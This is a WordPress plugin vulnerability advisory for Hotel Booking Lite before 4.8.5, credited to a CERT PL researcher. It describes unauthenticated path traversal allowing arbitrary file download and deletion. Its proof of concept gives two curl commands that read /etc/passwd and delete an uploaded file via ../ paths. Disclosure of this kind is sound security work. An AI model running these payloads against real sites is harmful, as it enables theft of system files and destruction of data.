WordPress Plugin Vulnerabilities

Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion

Description

The plugins do not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server

Proof of Concept

To download /etc/passwd: curl 'https://example.com/?filename=../../../../../../etc/passwd&mphb_action=download'

To download and delete the /wp-content/uploads/delete-me.php file: curl 'https://example.com/?filename=../delete-me.php&mphb_action=download&remove=1'

Affects Plugins

References

Classification

Type
TRAVERSAL
OWASP top 10
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-01 (about 5 months ago)
Added
2023-12-01 (about 5 months ago)
Last Updated
2024-05-07 (about 5 days ago)

Other